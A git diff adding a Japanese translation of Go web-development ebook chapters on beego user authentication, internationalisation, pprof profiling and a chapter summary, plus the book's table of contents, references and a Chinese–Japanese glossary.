+ } else { + this.Data["UsernameErr"] = "User already exists" + } + + } + + func checkPassword(password string) (b bool) { + if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", password); !ok { + return false + } + return true + } + + func checkUsername(username string) (b bool) { + if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", username); !ok { + return false + } + return true + } + +ユーザのログインとサインアップがあって、その他のモジュールでも以下のようにユーザがログインしているかどうかの判断を追加することができます: + + func (this *AddBlogController) Prepare() { + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess_uid := sess.Get("userid") + sess_username := sess.Get("username") + if sess_uid == nil { + this.Ctx.Redirect(302, "/admin/login") + return + } + this.Data["Username"] = sess_username + } + +## links + * [目次]() + * 前へ: [フォームおよび検証のサポート](<14.3.md>) + * 次へ: [多言語サポート](<14.5.md>) diff --git a/ja/ebook/14.5.md b/ja/ebook/14.5.md new file mode 100644 index 00000000..c1d7655b --- /dev/null +++ b/ja/ebook/14.5.md @@ -0,0 +1,113 @@ +# 14.5 多言語サポート +第10章において国際化とローカライゼーションおよびgo-i18nライブラリの開発についてご紹介しました。この節ではこのライブラリをbeegoフレームワークの中にもってくることで、我々のフレームワークにおいて国際化とローカライゼーションをサポートさせます。 + +## i18nの導入 +beegoにおいて以下のようにグローバル変数を設定します: + + Translation i18n.IL + Lang string //言語パッケージの設定、zh、en + LangPath string //言語パッケージのパスを設定 + +多言語関数を初期化: + + func InitLang(){ + beego.Translation:=i18n.NewLocale() + beego.Translation.LoadPath(beego.LangPath) + beego.Translation.SetLocale(beego.Lang) + } + +テンプレートにおいて直接多言語パッケージをコールできるよう、3つの関数によって対応する多言語を設計します: + + beegoTplFuncMap["Trans"] = i18n.I18nT + beegoTplFuncMap["TransDate"] = i18n.I18nTimeDate + beegoTplFuncMap["TransMoney"] = i18n.I18nMoney + + func I18nT(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Translate(s) + } + + func I18nTimeDate(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Time(s) + } + + func I18nMoney(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Money(s) + } + +## 多言語開発の使用 +1. 言語および言語パッケージのパスを設定します。その後i18nオブジェクトを初期化します: + + beego.Lang = "zh" + beego.LangPath = "views/lang" + beego.InitLang() + +2. 多言語パッケージの設計 + + 上ではどのようにして多言語パッケージを初期化するかについてご紹介しました。今から多言語パッケージを設計します。多言語パッケージはjsonファイルです。第10章でご紹介したのと同じように、設計する必要のあるファイルをLangPathの下に置きます。例えばzh.jsonまたはen.jsonといったものです。 + + # zh.json + + { + "zh": { + "submit": "送信", + "create": "新規作成" + } + } + + #en.json + + { + "en": { + "submit": "Submit", + "create": "Create" + } + } + +3. 多言語パッケージを使用する + + controllerの中でコンパイラをコールして対応する翻訳言語を取得することができます。以下に示します: + + func (this *MainController) Get() { + this.Data["create"] = beego.Translation.Translate("create") + this.TplNames = "index.tpl" + } + + テンプレートの中で直接対応する翻訳関数をコールしてもかまいません: + + //直接テキスト翻訳 + {{.create | Trans}} + + //時間の翻訳 + {{.time | TransDate}} + + //通貨の翻訳 + {{.money | TransMoney}} + +## links + * [目次]() + * 前へ: [ユーザ認証](<14.4.md>) + * 次へ: [pprofのサポート](<14.6.md>) diff --git a/ja/ebook/14.6.md b/ja/ebook/14.6.md new file mode 100644 index 00000000..af2d94bd --- /dev/null +++ b/ja/ebook/14.6.md @@ -0,0 +1,105 @@ +# 14.6 pprofのサポート +Go言語のとても良い設計は、標準ライブラリにコードの性能監視ツールを有することです。2つのパッケージがあります: + + net/http/pprof + + runtime/pprof + +実はnet/http/pprofではruntime/pprofパッケージを使ってラップしているだけで、httpポートで現れるだけなのです。 + +## beegoはpprofをサポートしています +現在beegoフレームワークはpprofを追加しています。この特徴はデフォルトで起動しません。もし性能をテストしたり、対応するgoroutineの実行といった情報を確認したりする必要があれば、Goのデフォルトパッケージ"/net/http/pprof"にはすでにこの機能があります。例えばGoのデフォルトの方法でWebを実行すれば、デフォルトで使用することができます。しかしbeegoはServHTTP関数をラップしていますので、もしデフォルトのパッケージをそのまま使っているのであればこの機能を起動することはできません。そのため、beegoの内部で改造を施し、pprofをサポートさせる必要があります。 + +- まずbeego.Run関数において変数によって自動的に機能パッケージをロードするか決定します。 + + if PprofOn { + BeeApp.RegisterController(`/debug/pprof`, &ProfController{}) + BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`, &ProfController{}) + } + +- ProfConterllerを設計する + + package beego + + import ( + "net/http/pprof" + ) + + type ProfController struct { + Controller + } + + func (this *ProfController) Get() { + switch this.Ctx.Params[":pp"] { + default: + pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) + case "": + pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) + case "cmdline": + pprof.Cmdline(this.Ctx.ResponseWriter, this.Ctx.Request) + case "profile": + pprof.Profile(this.Ctx.ResponseWriter, this.Ctx.Request) + case "symbol": + pprof.Symbol(this.Ctx.ResponseWriter, this.Ctx.Request) + } + this.Ctx.ResponseWriter.WriteHeader(200) + } + + +## 使用方法 + +上の設計を通して、以下のようなコードによってpprofを起動することができます: + + beego.PprofOn = true + +次に、ブラウザで以下のURLを開くと以下のようなインターフェースが現れます: +![](images/14.6.pprof.png?raw=true) + +図14.7 システムの現在のgoroutine、heap、threadの情報 + +goroutineをクリックすると詳細な情報を得ることができます: + +![](images/14.6.pprof2.png?raw=true) + +図14.8 現在のgoroutineの詳細情報を表示 + +コマンドラインから更に多くの詳細な情報を得ることもできます + + go tool pprof http://localhost:8080/debug/pprof/profile + +この時、プログラムは30秒のprofile収集時間に入ります。この時間内に必死にブラウザ上のページをリロードし、なるべくcpuを専有させてデータを生成します。 + + (pprof) top10 + + Total: 3 samples + + 1 33.3% 33.3% 1 33.3% MHeap_AllocLocked + + 1 33.3% 66.7% 1 33.3% os/exec.(*Cmd).closeDescriptors + + 1 33.3% 100.0% 1 33.3% runtime.sigprocmask + + 0 0.0% 100.0% 1 33.3% MCentral_Grow + + 0 0.0% 100.0% 2 66.7% main.Compile + + 0 0.0% 100.0% 2 66.7% main.compile + + 0 0.0% 100.0% 2 66.7% main.run + + 0 0.0% 100.0% 1 33.3% makeslice1 + + 0 0.0% 100.0% 2 66.7% net/http.(*ServeMux).ServeHTTP + + 0 0.0% 100.0% 2 66.7% net/http.(*conn).serve + + (pprof)web + +![](images/14.6.pprof3.png?raw=true) + +図14.9 デモの実行プロセス情報 + +## links + * [目次]() + * 前へ: [多言語サポート](<14.5.md>) + * 次へ: [概要](<14.7.md>) diff --git a/ja/ebook/14.7.md b/ja/ebook/14.7.md new file mode 100644 index 00000000..54b29ed4 --- /dev/null +++ b/ja/ebook/14.7.md @@ -0,0 +1,6 @@ +# 14.7 概要 +この章は主にどのようにしてbeegoフレームワークにもとづいて展開を行うかについて詳しく述べました。これには静的なファイルのサポートが含まれます。静的なファイルでは主にどのようにしてbeegoを利用して素早くウェブページを開発するか、bootstrapを利用して美しいサイトの作成についてご紹介しました;2つ目の概要ではどのようにしてbeegoにおいてsessionManagerを構成するかについてご紹介しました。これはユーザがbeegoを利用した時に素早くsessionを利用するのに便利です;第3章の概要ではフォームとバリデーションについてご紹介しました。Go言語のstructの定義に基づくと、Webを開発する過程で重複する作業から解放されます。また、バリデーションを追加するとできるかぎりデータを安全にすることができます。第4章の概要ではユーザの認証についてご紹介しました。ユーザの認証は主に3つの需要があります。http basicとhttp digest認証、サードパーティ認証、カスタム定義の認証です。コードを用いてどのようにして現在あるサードパーティパッケージからbeegoアプリケーションでこれらの認証を実装するのかデモを行いました。第5章のがいようでは多言語サポートをご紹介しました。beegoではgo-i18nという多言語パッケージを使用しています。ユーザはとても簡単にこのライブラリを利用して多言語Webアプリケーションを開発することができます。第6章ではどのようにしてGoのpprofパッケージを利用するのかご紹介しました。pprofパッケージは性能テストに使われるツールです。beegoに対する改造を施した後pprofパッケージを使うことでユーザはpprofからbeegoにもとづいて開発されたアプリケーションのテストを行うことができます。これら6つの章を通して比較的健全なbeegoフレームワークを展開してきました。このフレームワークは現在の数多くのWebアプリケーションに十分対応することができます。ユーザは自身の相続力を継続して発揮することができます。私はここで簡単にいくつか重要と思われる拡張についてご紹介したにすぎません。 + +## links + * [目次]() + * 前へ: [pprofのサポート](<14.6.md>) diff --git a/ja/ebook/build.go b/ja/ebook/build.go new file mode 120000 index 00000000..8228b893 --- /dev/null +++ b/ja/ebook/build.go @@ -0,0 +1 @@ +../../ebook/build.go \ No newline at end of file diff --git a/ja/ebook/build.sh b/ja/ebook/build.sh new file mode 120000 index 00000000..a100c8e3 --- /dev/null +++ b/ja/ebook/build.sh @@ -0,0 +1 @@ +../../ebook/build.sh \ No newline at end of file diff --git a/ja/ebook/images b/ja/ebook/images new file mode 120000 index 00000000..11ea5a0c --- /dev/null +++ b/ja/ebook/images @@ -0,0 +1 @@ +../../ebook/images \ No newline at end of file diff --git a/ja/ebook/preface.md b/ja/ebook/preface.md new file mode 100644 index 00000000..9ef1d440 --- /dev/null +++ b/ja/ebook/preface.md @@ -0,0 +1,96 @@ +* 1.[Goの環境設定](01.0.md) + - 1.1. [Goのインストール](01.1.md) + - 1.2. [GOPATHとワーキングディレクトリ](01.2.md) + - 1.3. [Goのコマンド](01.3.md) + - 1.4. [Goの開発ツール](01.4.md) + - 1.5. [概要](01.5.md) +* 2.[Go言語の基礎](02.0.md) + - 2.1. [こんにちは、Go](02.1.md) + - 2.2. [Goの基礎](02.2.md) + - 2.3. [フローと関数](02.3.md) + - 2.4. [struct型](02.4.md) + - 2.5. [オブジェクト指向](02.5.md) + - 2.6. [interface](02.6.md) + - 2.7. [マルチスレッド](02.7.md) + - 2.8. [概要](02.8.md) +* 3.[Webの基礎](03.0.md) + - 3.1 [webでの作業方法](03.1.md) + - 3.2 [Goで簡単なwebサーバを立てる](03.2.md) + - 3.3 [Goはどのようにしてweb作業を行うか](03.3.md) + - 3.4 [Goのhttpパッケージ詳細](03.4.md) + - 3.5 [概要](03.5.md) +* 4.[フォーム](04.0.md) + - 4.1 [フォームの入力を処理する](04.1.md) + - 4.2 [フォームに入力された内容の検証](04.2.md) + - 4.3 [クロスサイトスクリプティングの予防](04.3.md) + - 4.4 [フォームの複数回送信の防止](04.4.md) + - 4.5 [ファイルのアップロード処理](04.5.md) + - 4.6 [概要](04.6.md) +* 5.[データベースへのアクセス](05.0.md) + - 5.1 [database/sqlインターフェース](05.1.md) + - 5.2 [MySQL データベースの使用](05.2.md) + - 5.3 [SQLiteデータベースの使用](05.3.md) + - 5.4 [PostgreSQLデータベースの使用](05.4.md) + - 5.5 [beedbライブラリを使用してORM開発を行う](05.5.md) + - 5.6 [NOSQLデータベースの操作](05.6.md) + - 5.7 [概要](05.7.md) +* 6.[sessionとデータの保存](06.0.md) + - 6.1 [sessionとcookie](06.1.md) + - 6.2 [Goはどのようにしてsessionを使用するか](06.2.md) + - 6.3 [sessionストレージ](06.3.md) + - 6.4 [sessionハイジャックの予防](06.4.md) + - 6.5 [概要](06.5.md) +* 7.[テキスト処理](07.0.md) + - 7.1 [XMLの処理](07.1.md) + - 7.2 [JSONの処理](07.2.md) + - 7.3 [正規表現の処理](07.3.md) + - 7.4 [テンプレートの処理](07.4.md) + - 7.5 [ファイルの操作](07.5.md) + - 7.6 [文字列の処理](07.6.md) + - 7.7 [概要](07.7.md) +* 8.[Webサービス](08.0.md) + - 8.1 [Socketプログラミング](08.1.md) + - 8.2 [WebSocket](08.2.md) + - 8.3 [REST](08.3.md) + - 8.4 [RPC](08.4.md) + - 8.5 [概要](08.5.md) +* 9.[セキュリティと暗号化](09.0.md) + - 9.1 [CSRF攻撃の予防](09.1.md) + - 9.2 [入力フィルタリングの確保](09.2.md) + - 9.3 [XSS攻撃の回避](09.3.md) + - 9.4 [SQLインジェクションの回避](09.4.md) + - 9.5 [パスワードの保存](09.5.md) + - 9.6 [データを暗号化/復元する](09.6.md) + - 9.7 [概要](09.7.md) +* 10.[国際化とローカライズ](10.0.md) + - 10.1 [デフォルトロケールの設定](10.1.md) + - 10.2 [ローカライズリソース](10.2.md) + - 10.3 [国際化サイト](10.3.md) + - 10.4 [概要](10.4.md) +* 11.[エラー処理、デバッグとテスト](11.0.md) + - 11.1 [エラー処理](11.1.md) + - 11.2 [GDBを使用したデバッグ](11.2.md) + - 11.3 [Goによるテスト例](11.3.md) + - 11.4 [概要](11.4.md) +* 12.[デプロイとメンテナンス](12.0.md) + - 12.1 [アプリケーションログ](12.1.md) + - 12.2 [サイトのエラー処理](12.2.md) + - 12.3 [アプリケーションのデプロイ](12.3.md) + - 12.4 [バックアップとリストア](12.4.md) + - 12.5 [概要](12.5.md) +* 13.[どのようにしてWebフレームワークを設計するか](13.0.md)  + - 13.1 [プロジェクトプラン](13.1.md)  + - 13.2 [カスタムルータの設計](13.2.md) + - 13.3 [controllerの設計](13.3.md) + - 13.4 [ログとデプロイ設計](13.4.md) + - 13.5 [ブログの追加/削除/修正の実装](13.5.md) + - 13.6 [概要](13.6.md)  +* 14.[Webフレームワークの拡張](14.0.md) + - 14.1 [静的ファイルのサポート](14.1.md) + - 14.2 [Sessionのサポート](14.2.md) + - 14.3 [フォームのサポート](14.3.md) + - 14.4 [ユーザ認証](14.4.md) + - 14.5 [多言語サポート](14.5.md) + - 14.6 [pprofのサポート](14.6.md) + - 14.7 [概要](14.7.md) +* 付録A [参考資料](ref.md) diff --git a/ja/ebook/ref.md b/ja/ebook/ref.md new file mode 100644 index 00000000..54ff0f52 --- /dev/null +++ b/ja/ebook/ref.md @@ -0,0 +1,13 @@ +# 付録A 参考資料 + +この本の内容は基本的に、私のGoの学習過程と以前携わったWeb開発の仕事から得られた経験によりまとめられています。いくつかの内容はたくさんのサイトの内容を参考にしています。この本をまとめてこられたのもこれらサイトのおかげで、大変感謝しています。参考資料は以下のとおりです: + +1. [golang blog](http://blog.golang.org) +2. [Russ Cox blog](http://research.swtch.com/) +3. [go book](http://go-book.appsp0t.com/) +4. [golangtutorials](http://golangtutorials.blogspot.com) +5. [轩脉刃de刀光剑影](http://www.cnblogs.com/yjf512/) +6. [Go オフィシャルドキュメント](http://golang.org/doc/) +7. [Network programming with Go](http://jan.newmarch.name/go/) +8. [setup-the-rails-application-for-internationalization](http://guides.rubyonrails.org/i18n.html#setup-the-rails-application-for-internationalization) +9. [The Cross-Site Scripting (XSS) FAQ](http://www.cgisecurity.com/xss-faq.html) diff --git a/ja/ebook/src b/ja/ebook/src new file mode 120000 index 00000000..9fc720a7 --- /dev/null +++ b/ja/ebook/src @@ -0,0 +1 @@ +../../ebook/src \ No newline at end of file diff --git a/ja/glossary.md b/ja/glossary.md new file mode 100644 index 00000000..44616381 --- /dev/null +++ b/ja/glossary.md @@ -0,0 +1,152 @@ +# 単語集 +備忘録兼単語集です。迷った時に。 + +## 浏览器 +ブラウザ  + +## 静态类型 +静的型付け + +## 会话 +セッション + +## 安全隐患 +潜在的な脅威 + +## 捉襟见肘 +対応に困窮する + +## 无头苍蝇 +行き当たりばったりな人 + +## 开销 +オーバーヘッド + +## 销毁 +廃棄、破棄 + +## 存储 +ストレージ、保存する + +## 讲解 +解説 + +## 嗅探 +スニッフィング + +## 劫持 +ハイジャック + +## 领略 +味わう + +## 数据交换语言 +データ記述言語 + +## 内建 +ビルトイン + +## 运维 +操作 + +## 嵌套 + ネストした + +## 死循环 +永久ループ + +## 模式匹配 +パターンマッチ + +## 筛选 +フィルターする + +## 展现 +表示 + +## 上下文 +コンテキスト + +## 注入 +インジェクション + +## 文件描述符 +ファイルディスクリプタ + +## 打开的方式 +オープンモード + +## 以一斑窥全豹 +ひとつを見てすべてを理解する + +## 数据报 +データグラム + +## 套接字 +ソケット + +## 蓬勃 +力強い + +## 一劳永逸 +一度苦労しておけば末永く楽できる + +## 全双工通信 +全二重通信 + +## 轮询 +ポーリング + +## 带宽 +帯域幅 + +## 句柄 +扱う、ハンドル + +## 异步 +非同期 + +## 组件 +モジュール + +## 掐头去尾 +大事なところを残してあとは取り除く + +## 约束条件 +制約条件 + +## 阻塞型 +ブロッキング型 + +## 转义 +エスケープ + +## 社会工程学 +ソーシャルエンジニアリング + +## 殊不知 +意外にも + +## 层出不穷 +尽きることのない + +## 摘要 +ダイジェスト + +## 聚合变量 +集成体型変数 + +## 涵盖 +カバー + +## 部署 +デプロイ + +## 集群环境 +クラスタ環境 + +## 保留字 +キーワード + +## 破折号 +ダッシュ diff --git a/ja/images b/ja/images new file mode 120000 index 00000000..e0bc9c2a --- /dev/null +++ b/ja/images @@ -0,0 +1 @@ +ebook/images/ \ No newline at end of file